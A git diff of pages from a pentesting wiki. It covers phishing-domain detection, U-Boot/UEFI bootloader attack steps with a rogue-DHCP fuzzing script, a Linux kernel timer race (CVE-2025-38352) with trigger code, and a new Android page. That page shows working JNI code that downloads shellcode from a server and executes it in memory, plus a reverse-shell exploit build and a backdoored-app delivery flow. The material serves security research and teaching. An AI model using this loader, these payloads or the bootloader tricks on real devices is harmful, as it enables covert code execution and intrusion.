- Log TLS/HTTP fingerprints (JA3/JA4/JA4S/JA4H) at egress. Some Evilginx builds have been observed with stable JA4 client/server values. Alert on known-bad fingerprints only as a weak signal and always confirm with content and domain intel.
|
||||
- Proactively record TLS certificate metadata (issuer, SAN count, wildcard use, validity) for lookalike hosts discovered via CT or urlscan and correlate with DNS age and geolocation.
|
||||
|
||||
> Note: Treat fingerprints as enrichment, not as sole blockers; frameworks evolve and may randomise or obfuscate.
|
||||
|
||||
### Domain names using keywords
|
||||
|
||||
The parent page also mentions a domain name variation technique that consists of putting the **victim's domain name inside a bigger domain** (e.g. paypal-financial.com for paypal.com).
|
||||
|
||||
### Certificate Transparency
|
||||
#### Certificate Transparency
|
||||
|
||||
It's not possible to take the previous "Brute-Force" approach but it's actually **possible to uncover such phishing attempts** also thanks to certificate transparency. Every time a certificate is emitted by a CA, the details are made public. This means that by reading the certificate transparency or even monitoring it, it's **possible to find domains that are using a keyword inside its name** For example, if an attacker generates a certificate of [https://paypal-financial.com](https://paypal-financial.com), seeing the certificate it's possible to find the keyword "paypal" and know that suspicious email is being used.
|
||||
|
||||
@ -62,11 +137,17 @@ Using this last option you can even use the field Matching Identities to see if
|
||||
|
||||
**Another alternative** is the fantastic project called [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream provides a real-time stream of newly generated certificates which you can use to detect specified keywords in (near) real-time. In fact, there is a project called [**phishing_catcher**](https://github.com/x0rz/phishing_catcher) that does just that.
|
||||
|
||||
### **New domains**
|
||||
Practical tip: when triaging CT hits, prioritise NRDs, untrusted/unknown registrars, privacy-proxy WHOIS, and certs with very recent `NotBefore` times. Maintain an allowlist of your owned domains/brands to reduce noise.
|
||||
|
||||
#### **New domains**
|
||||
|
||||
**One last alternative** is to gather a list of **newly registered domains** for some TLDs ([Whoxy](https://www.whoxy.com/newly-registered-domains/) provides such service) and **check the keywords in these domains**. However, long domains usually use one or more subdomains, therefore the keyword won't appear inside the FLD and you won't be able to find the phishing subdomain.
|
||||
|
||||
Additional heuristic: treat certain **file-extension TLDs** (e.g., `.zip`, `.mov`) with extra suspicion in alerting. These are commonly confused for filenames in lures; combine the TLD signal with brand keywords and NRD age for better precision.
|
||||
|
||||
## References
|
||||
|
||||
- urlscan.io – Search API reference: https://urlscan.io/docs/search/
|
||||
- APNIC Blog – JA4+ network fingerprinting (includes Evilginx example): https://blog.apnic.net/2023/11/22/ja4-network-fingerprinting/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -2,56 +2,125 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
The following steps are recommended for modifying device startup configurations and bootloaders like U-boot:
|
||||
The following steps are recommended for modifying device startup configurations and testing bootloaders such as U-Boot and UEFI-class loaders. Focus on getting early code execution, assessing signature/rollback protections, and abusing recovery or network-boot paths.
|
||||
|
||||
1. **Access Bootloader's Interpreter Shell**:
|
||||
## U-Boot quick wins and environment abuse
|
||||
|
||||
- During boot, press "0", space, or other identified "magic codes" to access the bootloader's interpreter shell.
|
||||
1. Access the interpreter shell
|
||||
- During boot, hit a known break key (often any key, 0, space, or a board-specific "magic" sequence) before `bootcmd` executes to drop to the U-Boot prompt.
|
||||
|
||||
2. **Modify Boot Arguments**:
|
||||
2. Inspect boot state and variables
|
||||
- Useful commands:
|
||||
- `printenv` (dump environment)
|
||||
- `bdinfo` (board info, memory addresses)
|
||||
- `help bootm; help booti; help bootz` (supported kernel boot methods)
|
||||
- `help ext4load; help fatload; help tftpboot` (available loaders)
|
||||
|
||||
- Execute the following commands to append '`init=/bin/sh`' to the boot arguments, allowing execution of a shell command:
|
||||
3. Modify boot arguments to get a root shell
|
||||
- Append `init=/bin/sh` so the kernel drops to a shell instead of normal init:
|
||||
```
|
||||
#printenv
|
||||
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
|
||||
#saveenv
|
||||
#boot
|
||||
# printenv
|
||||
# setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=<fstype> init=/bin/sh'
|
||||
# saveenv
|
||||
# boot # or: run bootcmd
|
||||
```
|
||||
|
||||
3. **Setup TFTP Server**:
|
||||
|
||||
- Configure a TFTP server to load images over a local network:
|
||||
4. Netboot from your TFTP server
|
||||
- Configure network and fetch a kernel/fit image from LAN:
|
||||
```
|
||||
#setenv ipaddr 192.168.2.2 #local IP of the device
|
||||
#setenv serverip 192.168.2.1 #TFTP server IP
|
||||
#saveenv
|
||||
#reset
|
||||
#ping 192.168.2.1 #check network access
|
||||
#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes the address to load the file into and the filename of the image on the TFTP server
|
||||
# setenv ipaddr 192.168.2.2 # device IP
|
||||
# setenv serverip 192.168.2.1 # TFTP server IP
|
||||
# saveenv; reset
|
||||
# ping ${serverip}
|
||||
# tftpboot ${loadaddr} zImage # kernel
|
||||
# tftpboot ${fdt_addr_r} devicetree.dtb # DTB
|
||||
# setenv bootargs "${bootargs} init=/bin/sh"
|
||||
# booti ${loadaddr} - ${fdt_addr_r}
|
||||
```
|
||||
|
||||
4. **Utilize `ubootwrite.py`**:
|
||||
5. Persist changes via environment
|
||||
- If env storage isn’t write-protected, you can persist control:
|
||||
```
|
||||
# setenv bootcmd 'tftpboot ${loadaddr} fit.itb; bootm ${loadaddr}'
|
||||
# saveenv
|
||||
```
|
||||
- Check for variables like `bootcount`, `bootlimit`, `altbootcmd`, `boot_targets` that influence fallback paths. Misconfigured values can grant repeated breaks into the shell.
|
||||
|
||||
- Use `ubootwrite.py` to write the U-boot image and push a modified firmware to gain root access.
|
||||
6. Check debug/unsafe features
|
||||
- Look for: `bootdelay` > 0, `autoboot` disabled, unrestricted `usb start; fatload usb 0:1 ...`, ability to `loady`/`loads` via serial, `env import` from untrusted media, and kernels/ramdisks loaded without signature checks.
|
||||
|
||||
5. **Check Debug Features**:
|
||||
7. U-Boot image/verification testing
|
||||
- If the platform claims secure/verified boot with FIT images, try both unsigned and tampered images:
|
||||
```
|
||||
# tftpboot ${loadaddr} fit-unsigned.itb; bootm ${loadaddr} # should FAIL if FIT sig enforced
|
||||
# tftpboot ${loadaddr} fit-signed-badhash.itb; bootm ${loadaddr} # should FAIL
|
||||
# tftpboot ${loadaddr} fit-signed.itb; bootm ${loadaddr} # should only boot if key trusted
|
||||
```
|
||||
- Absence of `CONFIG_FIT_SIGNATURE`/`CONFIG_(SPL_)FIT_SIGNATURE` or legacy `verify=n` behavior often allows booting arbitrary payloads.
|
||||
|
||||
- Verify if debug features like verbose logging, loading arbitrary kernels, or booting from untrusted sources are enabled.
|
||||
## Network-boot surface (DHCP/PXE) and rogue servers
|
||||
|
||||
6. **Cautionary Hardware Interference**:
|
||||
8. PXE/DHCP parameter fuzzing
|
||||
- U-Boot’s legacy BOOTP/DHCP handling has had memory-safety issues. For example, CVE‑2024‑42040 describes memory disclosure via crafted DHCP responses that can leak bytes from U-Boot memory back on the wire. Exercise the DHCP/PXE code paths with overly long/edge-case values (option 67 bootfile-name, vendor options, file/servername fields) and observe for hangs/leaks.
|
||||
- Minimal Scapy snippet to stress boot parameters during netboot:
|
||||
```python
|
||||
from scapy.all import *
|
||||
offer = (Ether(dst='ff:ff:ff:ff:ff:ff')/
|
||||
IP(src='192.168.2.1', dst='255.255.255.255')/
|
||||
UDP(sport=67, dport=68)/
|
||||
BOOTP(op=2, yiaddr='192.168.2.2', siaddr='192.168.2.1', chaddr=b'\xaa\xbb\xcc\xdd\xee\xff')/
|
||||
DHCP(options=[('message-type','offer'),
|
||||
('server_id','192.168.2.1'),
|
||||
# Intentionally oversized and strange values
|
||||
('bootfile_name','A'*300),
|
||||
('vendor_class_id','B'*240),
|
||||
'end']))
|
||||
sendp(offer, iface='eth0', loop=1, inter=0.2)
|
||||
```
|
||||
- Also validate if PXE filename fields are passed to shell/loader logic without sanitization when chained to OS-side provisioning scripts.
|
||||
|
||||
- Be cautious when connecting one pin to ground and interacting with SPI or NAND flash chips during the device boot-up sequence, particularly before the kernel decompresses. Consult the NAND flash chip's datasheet before shorting pins.
|
||||
9. Rogue DHCP server command injection testing
|
||||
- Set up a rogue DHCP/PXE service and try injecting characters into filename or options fields to reach command interpreters in later stages of the boot chain. Metasploit’s DHCP auxiliary, `dnsmasq`, or custom Scapy scripts work well. Ensure you isolate the lab network first.
|
||||
|
||||
7. **Configure Rogue DHCP Server**:
|
||||
- Set up a rogue DHCP server with malicious parameters for a device to ingest during a PXE boot. Utilize tools like Metasploit's (MSF) DHCP auxiliary server. Modify the 'FILENAME' parameter with command injection commands such as `'a";/bin/sh;#'` to test input validation for device startup procedures.
|
||||
## SoC ROM recovery modes that override normal boot
|
||||
|
||||
**Note**: The steps involving physical interaction with device pins (\*marked with asterisks) should be approached with extreme caution to avoid damaging the device.
|
||||
Many SoCs expose a BootROM "loader" mode that will accept code over USB/UART even when flash images are invalid. If secure-boot fuses aren’t blown, this can provide arbitrary code execution very early in the chain.
|
||||
|
||||
- NXP i.MX (Serial Download Mode)
|
||||
- Tools: `uuu` (mfgtools3) or `imx-usb-loader`.
|
||||
- Example: `imx-usb-loader u-boot.imx` to push and run a custom U-Boot from RAM.
|
||||
- Allwinner (FEL)
|
||||
- Tool: `sunxi-fel`.
|
||||
- Example: `sunxi-fel -v uboot u-boot-sunxi-with-spl.bin` or `sunxi-fel write 0x4A000000 u-boot-sunxi-with-spl.bin; sunxi-fel exe 0x4A000000`.
|
||||
- Rockchip (MaskROM)
|
||||
- Tool: `rkdeveloptool`.
|
||||
- Example: `rkdeveloptool db loader.bin; rkdeveloptool ul u-boot.bin` to stage a loader and upload a custom U-Boot.
|
||||
|
||||
Assess whether the device has secure-boot eFuses/OTP burned. If not, BootROM download modes frequently bypass any higher-level verification (U-Boot, kernel, rootfs) by executing your first-stage payload directly from SRAM/DRAM.
|
||||
|
||||
## UEFI/PC-class bootloaders: quick checks
|
||||
|
||||
10. ESP tampering and rollback testing
|
||||
- Mount the EFI System Partition (ESP) and check for loader components: `EFI/Microsoft/Boot/bootmgfw.efi`, `EFI/BOOT/BOOTX64.efi`, `EFI/ubuntu/shimx64.efi`, `grubx64.efi`, vendor logo paths.
|
||||
- Try booting with downgraded or known-vulnerable signed boot components if Secure Boot revocations (dbx) aren’t current. If the platform still trusts old shims/bootmanagers, you can often load your own kernel or `grub.cfg` from the ESP to gain persistence.
|
||||
|
||||
11. Boot logo parsing bugs (LogoFAIL class)
|
||||
- Several OEM/IBV firmwares were vulnerable to image-parsing flaws in DXE that process boot logos. If an attacker can place a crafted image on the ESP under a vendor-specific path (e.g., `\EFI\<vendor>\logo\*.bmp`) and reboot, code execution during early boot may be possible even with Secure Boot enabled. Test whether the platform accepts user-supplied logos and whether those paths are writable from the OS.
|
||||
|
||||
## Hardware caution
|
||||
|
||||
Be cautious when interacting with SPI/NAND flash during early boot (e.g., grounding pins to bypass reads) and always consult the flash datasheet. Mistimed shorts can corrupt the device or the programmer.
|
||||
|
||||
## Notes and additional tips
|
||||
|
||||
- Try `env export -t ${loadaddr}` and `env import -t ${loadaddr}` to move environment blobs between RAM and storage; some platforms allow importing env from removable media without authentication.
|
||||
- For persistence on Linux-based systems that boot via `extlinux.conf`, modifying the `APPEND` line (to inject `init=/bin/sh` or `rd.break`) on the boot partition is often enough when no signature checks are enforced.
|
||||
- If userland provides `fw_printenv/fw_setenv`, validate that `/etc/fw_env.config` matches the real env storage. Misconfigured offsets let you read/write the wrong MTD region.
|
||||
|
||||
## References
|
||||
|
||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
- [https://www.binarly.io/blog/finding-logofail-the-dangers-of-image-parsing-during-system-boot](https://www.binarly.io/blog/finding-logofail-the-dangers-of-image-parsing-during-system-boot)
|
||||
- [https://nvd.nist.gov/vuln/detail/CVE-2024-42040](https://nvd.nist.gov/vuln/detail/CVE-2024-42040)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
0
src/linux-hardening/linux-basics.md
Normal file
0
src/linux-hardening/linux-basics.md
Normal file
@ -0,0 +1,213 @@
|
||||
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
This page documents a TOCTOU race condition in Linux/Android POSIX CPU timers that can corrupt timer state and crash the kernel, and under some circumstances be steered toward privilege escalation.
|
||||
|
||||
- Affected component: kernel/time/posix-cpu-timers.c
|
||||
- Primitive: expiry vs deletion race under task exit
|
||||
- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||
|
||||
Quick internals recap (relevant for exploitation)
|
||||
- Three CPU clocks drive accounting for timers via cpu_clock_sample():
|
||||
- CPUCLOCK_PROF: utime + stime
|
||||
- CPUCLOCK_VIRT: utime only
|
||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||
- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:
|
||||
|
||||
```c
|
||||
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||
struct pid *pid;
|
||||
rcu_read_lock();
|
||||
pid = pid_for_clock(new_timer->it_clock, false);
|
||||
if (!pid) { rcu_read_unlock(); return -EINVAL; }
|
||||
new_timer->kclock = &clock_posix_cpu;
|
||||
timerqueue_init(&new_timer->it.cpu.node);
|
||||
new_timer->it.cpu.pid = get_pid(pid);
|
||||
rcu_read_unlock();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
- Arming inserts into a per-base timerqueue and may update the next-expiry cache:
|
||||
|
||||
```c
|
||||
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||
struct cpu_timer *ctmr = &timer->it.cpu;
|
||||
u64 newexp = cpu_timer_getexpires(ctmr);
|
||||
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||
}
|
||||
```
|
||||
|
||||
- Fast path avoids expensive processing unless cached expiries indicate possible firing:
|
||||
|
||||
```c
|
||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||
if (!expiry_cache_is_inactive(pct)) {
|
||||
u64 samples[CPUCLOCK_MAX];
|
||||
task_sample_cputime(tsk, samples);
|
||||
if (task_cputimers_expired(samples, pct))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
|
||||
- Expiration collects expired timers, marks them firing, moves them off the queue; actual delivery is deferred:
|
||||
|
||||
```c
|
||||
#define MAX_COLLECTED 20
|
||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||
struct list_head *firing, u64 now) {
|
||||
struct timerqueue_node *next; int i = 0;
|
||||
while ((next = timerqueue_getnext(head))) {
|
||||
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
|
||||
u64 expires = cpu_timer_getexpires(ctmr);
|
||||
if (++i == MAX_COLLECTED || now < expires) return expires;
|
||||
ctmr->firing = 1; // critical state
|
||||
rcu_assign_pointer(ctmr->handling, current);
|
||||
cpu_timer_dequeue(ctmr);
|
||||
list_add_tail(&ctmr->elist, firing);
|
||||
}
|
||||
return U64_MAX;
|
||||
}
|
||||
```
|
||||
|
||||
Two expiry-processing modes
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: expiry is deferred via task_work on the target task
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: expiry handled directly in IRQ context
|
||||
|
||||
```c
|
||||
void run_posix_cpu_timers(void) {
|
||||
struct task_struct *tsk = current;
|
||||
__run_posix_cpu_timers(tsk);
|
||||
}
|
||||
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
|
||||
tsk->posix_cputimers_work.scheduled = true;
|
||||
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
|
||||
}
|
||||
#else
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
lockdep_posixtimer_enter();
|
||||
handle_posix_cpu_timers(tsk); // IRQ-context path
|
||||
lockdep_posixtimer_exit();
|
||||
}
|
||||
#endif
|
||||
```
|
||||
|
||||
In the IRQ-context path, the firing list is processed outside sighand
|
||||
|
||||
```c
|
||||
static void handle_posix_cpu_timers(struct task_struct *tsk) {
|
||||
struct k_itimer *timer, *next; unsigned long flags, start;
|
||||
LIST_HEAD(firing);
|
||||
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
|
||||
do {
|
||||
start = READ_ONCE(jiffies); barrier();
|
||||
check_thread_timers(tsk, &firing);
|
||||
check_process_timers(tsk, &firing);
|
||||
} while (!posix_cpu_timers_enable_work(tsk, start));
|
||||
unlock_task_sighand(tsk, &flags); // race window opens here
|
||||
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
|
||||
int cpu_firing;
|
||||
spin_lock(&timer->it_lock);
|
||||
list_del_init(&timer->it.cpu.elist);
|
||||
cpu_firing = timer->it.cpu.firing; // read then reset
|
||||
timer->it.cpu.firing = 0;
|
||||
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
|
||||
rcu_assign_pointer(timer->it.cpu.handling, NULL);
|
||||
spin_unlock(&timer->it_lock);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
|
||||
Preconditions
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
|
||||
- The target task is exiting but not fully reaped
|
||||
- Another thread concurrently calls posix_cpu_timer_del() for the same timer
|
||||
|
||||
Sequence
|
||||
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
|
||||
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
|
||||
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
|
||||
4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
|
||||
5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
|
||||
|
||||
Why TASK_WORK mode is safe by design
|
||||
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
|
||||
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
|
||||
|
||||
Fix (Android common kernel) and rationale
|
||||
- Add an early return if current task is exiting, gating all processing:
|
||||
|
||||
```c
|
||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||
if (tsk->exit_state)
|
||||
return;
|
||||
```
|
||||
|
||||
- This prevents entering handle_posix_cpu_timers() for exiting tasks, eliminating the window where posix_cpu_timer_del() could miss it.cpu.firing and race with expiry processing.
|
||||
|
||||
Impact
|
||||
- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities.
|
||||
|
||||
Triggering the bug (safe, reproducible conditions)
|
||||
Build/config
|
||||
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
|
||||
|
||||
Runtime strategy
|
||||
- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
|
||||
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
|
||||
|
||||
```c
|
||||
static timer_t t;
|
||||
static void setup_cpu_timer(void) {
|
||||
struct sigevent sev = {0};
|
||||
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
|
||||
sev.sigev_signo = SIGUSR1;
|
||||
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
|
||||
struct itimerspec its = {0};
|
||||
its.it_value.tv_nsec = 1; // fire ASAP
|
||||
its.it_interval.tv_nsec = 1; // re-fire
|
||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||
}
|
||||
```
|
||||
|
||||
- From a sibling thread, concurrently delete the same timer while the target thread exits:
|
||||
|
||||
```c
|
||||
void *deleter(void *arg) {
|
||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||
}
|
||||
```
|
||||
|
||||
- Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. The crash typically manifests when posix_cpu_timer_del() skips noticing firing due to failing task lookup/locking right after unlock_task_sighand().
|
||||
|
||||
Detection and hardening
|
||||
- Mitigation: apply the exit_state guard; prefer enabling CONFIG_POSIX_CPU_TIMERS_TASK_WORK when feasible.
|
||||
- Observability: add tracepoints/WARN_ONCE around unlock_task_sighand()/posix_cpu_timer_del(); alert when it.cpu.firing==1 is observed together with failed cpu_timer_task_rcu()/lock_task_sighand(); watch for timerqueue inconsistencies around task exit.
|
||||
|
||||
Audit hotspots (for reviewers)
|
||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
||||
- collect_timerqueue(): sets ctmr->firing and moves nodes
|
||||
- handle_posix_cpu_timers(): drops sighand before firing loop
|
||||
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
|
||||
|
||||
Notes for exploitation research
|
||||
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
|
||||
|
||||
## References
|
||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -228,6 +228,11 @@ bypass-biometric-authentication-android.md
|
||||
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
|
||||
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
|
||||
- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call):
|
||||
|
||||
{{#ref}}
|
||||
in-memory-jni-shellcode-execution.md
|
||||
{{#endref}}
|
||||
|
||||
### **Other tricks**
|
||||
|
||||
@ -862,17 +867,11 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th
|
||||
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
|
||||
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
|
||||
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
|
||||
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
|
||||
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
|
||||
|
||||
## Yet to try
|
||||
|
||||
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -0,0 +1,125 @@
|
||||
# Android In-Memory Native Code Execution via JNI (shellcode)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
This page documents a practical pattern to execute native payloads fully in memory from an untrusted Android app process using JNI. The flow avoids creating any on-disk native binary: download raw shellcode bytes over HTTP(S), pass them to a JNI bridge, allocate RX memory, and jump into it.
|
||||
|
||||
Why it matters
|
||||
- Reduces forensic artifacts (no ELF on disk)
|
||||
- Compatible with “stage-2” native payloads generated from an ELF exploit binary
|
||||
- Matches tradecraft used by modern malware and red teams
|
||||
|
||||
High-level pattern
|
||||
1) Fetch shellcode bytes in Java/Kotlin
|
||||
2) Call a native method (JNI) with the byte array
|
||||
3) In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint
|
||||
|
||||
Minimal example
|
||||
|
||||
Java/Kotlin side
|
||||
```java
|
||||
public final class NativeExec {
|
||||
static { System.loadLibrary("nativeexec"); }
|
||||
public static native int run(byte[] sc);
|
||||
}
|
||||
|
||||
// Download and execute (simplified)
|
||||
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
|
||||
int rc = NativeExec.run(sc);
|
||||
```
|
||||
|
||||
C JNI side (arm64/amd64)
|
||||
```c
|
||||
#include <jni.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static inline void flush_icache(void *p, size_t len) {
|
||||
__builtin___clear_cache((char*)p, (char*)p + len);
|
||||
}
|
||||
|
||||
JNIEXPORT jint JNICALL
|
||||
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
|
||||
jsize len = (*env)->GetArrayLength(env, sc);
|
||||
if (len <= 0) return -1;
|
||||
|
||||
// RW anonymous buffer
|
||||
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (buf == MAP_FAILED) return -2;
|
||||
|
||||
jboolean isCopy = 0;
|
||||
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
|
||||
if (!bytes) { munmap(buf, len); return -3; }
|
||||
|
||||
memcpy(buf, bytes, len);
|
||||
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
|
||||
|
||||
// Make RX and execute
|
||||
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
|
||||
flush_icache(buf, len);
|
||||
|
||||
int (*entry)(void) = (int (*)(void))buf;
|
||||
int ret = entry();
|
||||
|
||||
// Optional: restore RW and wipe
|
||||
mprotect(buf, len, PROT_READ | PROT_WRITE);
|
||||
memset(buf, 0, len);
|
||||
munmap(buf, len);
|
||||
return ret;
|
||||
}
|
||||
```
|
||||
|
||||
Notes and caveats
|
||||
- W^X/execmem: Modern Android enforces W^X; anonymous PROT_EXEC mappings are still generally allowed for app processes with JIT (subject to SELinux policy). Some devices/ROMs restrict this; fall back to JIT-allocated exec pools or native bridges when needed.
|
||||
- Architectures: Ensure the shellcode architecture matches the device (arm64-v8a commonly; x86 only on emulators).
|
||||
- Entrypoint contract: Decide a convention for your shellcode entry (no args vs structure pointer). Keep it position-independent (PIC).
|
||||
- Stability: Clear instruction cache before jumping; mismatched cache can crash on ARM.
|
||||
|
||||
Packaging ELF → position‑independent shellcode
|
||||
A robust operator pipeline is to:
|
||||
- Build your exploit as a static ELF with musl-gcc
|
||||
- Convert the ELF into a self‑loading shellcode blob using pwntools’ shellcraft.loader_append
|
||||
|
||||
Build
|
||||
```bash
|
||||
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
|
||||
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
|
||||
```
|
||||
|
||||
Transform ELF to raw shellcode (amd64 example)
|
||||
```python
|
||||
# exp2sc.py
|
||||
from pwn import *
|
||||
context.clear(arch='amd64')
|
||||
elf = ELF('./exploit')
|
||||
loader = shellcraft.loader_append(elf.data, arch='amd64')
|
||||
sc = asm(loader)
|
||||
open('sc','wb').write(sc)
|
||||
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
|
||||
```
|
||||
|
||||
Why loader_append works: it emits a tiny loader that maps the embedded ELF program segments in memory and transfers control to its entrypoint, giving you a single raw blob that can be memcpy’ed and executed by the app.
|
||||
|
||||
Delivery
|
||||
- Host sc on an HTTP(S) server you control
|
||||
- The backdoored/test app downloads sc and invokes the JNI bridge shown above
|
||||
- Listen on your operator box for any reverse connection the kernel/user-mode payload establishes
|
||||
|
||||
